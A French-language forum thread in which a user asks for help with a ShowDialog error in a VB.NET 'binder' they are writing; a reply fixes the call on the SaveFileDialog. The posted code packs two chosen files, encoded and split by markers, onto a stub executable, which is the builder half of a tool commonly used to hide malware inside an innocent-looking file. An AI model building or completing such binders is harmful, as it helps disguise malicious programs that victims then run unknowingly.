Probléme en VB.NET [Résolu]

Bonjour,j'ai un sousis je suis entrain de crée un binder et quand je fait binder sa me met ça :

Un formulaire qui est déjà visible ne peut pas être affiché sous la forme d'une boîte de dialogue modale.Affectez la valeur false à la propriété visible du formulaire avant d'appeler ShowDialog

Si vous pouvais m'aidez sa serais simpa de votre part :)

5 réponses

  • Votes
  • Date
  • Date décroissante
  1. Bonjour,

    Tu peux donner un peu plus de code ?
    Tu n'as pas déjà appelé ton formulaire avec un Show ?
    1. Je suppose que ce code est dans une autre form...
      Et en ajoutant ce qu'il y a en gras ci-dessous ?

      If sfd.ShowDialog() = Windows.Forms.DialogResult.OK
      1. as tu skype ou autre ?

         Private Sub Thief3Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Thief3Button3.Click
        
        
                Dim sfd As New SaveFileDialog
                With sfd
                    .FileName = "*.*"
                    .Title = "Choisir le nouvelle emplacement du fichier..."
                    .Filter = "All File (*.*)|*.*"
                    .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
                    If ShowDialog() = Windows.Forms.DialogResult.OK Then
                        Dim sp As String = "[SPLITTER]"
                        Dim buffer As Byte() = My.Resources.Stub2
                        My.Computer.FileSystem.WriteAllBytes(.FileName, buffer, False)
                        Dim file1 As Byte() = secure(My.Computer.FileSystem.ReadAllBytes(TextBox1.Text))
                        Dim file2 As Byte() = secure(My.Computer.FileSystem.ReadAllBytes(TextBox2.Text))
                        System.IO.File.AppendAllText(.FileName, sp & Convert.ToBase64String(file1) & sp & F & sp & Convert.ToBase64String(file2) & sp & F2)
                        MsgBox("Binder avec succès!", MsgBoxStyle.Information + MsgBoxStyle.OkOnly, "Succès !")
                    End If
                End With
        
            End Sub
        
        End Class
        


        J'ai cette erreur en gras
        1. Merci il fallais mettre If sfd.ShowDialog() = Windows.Forms.DialogResult.OK

          Sujet réussi (fermer)